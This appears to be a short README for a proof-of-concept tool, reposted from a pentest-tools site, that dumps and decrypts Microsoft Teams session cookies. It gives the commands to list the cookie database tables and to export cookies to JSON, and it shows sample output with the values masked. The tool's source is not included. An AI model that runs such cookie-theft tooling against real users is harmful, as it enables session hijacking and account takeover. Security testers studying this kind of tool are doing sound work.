PoC for dumping and decrypting cookies in the latest version of Microsoft Teams
extract.py just dumps without arguments
extract.exe is just extract.py packed into an exe
List values in the database
python.exe .\teams_dump.py teams --listTable: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party
Dump the database into a json file
python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************
Source : KitPloit – PenTest Tools!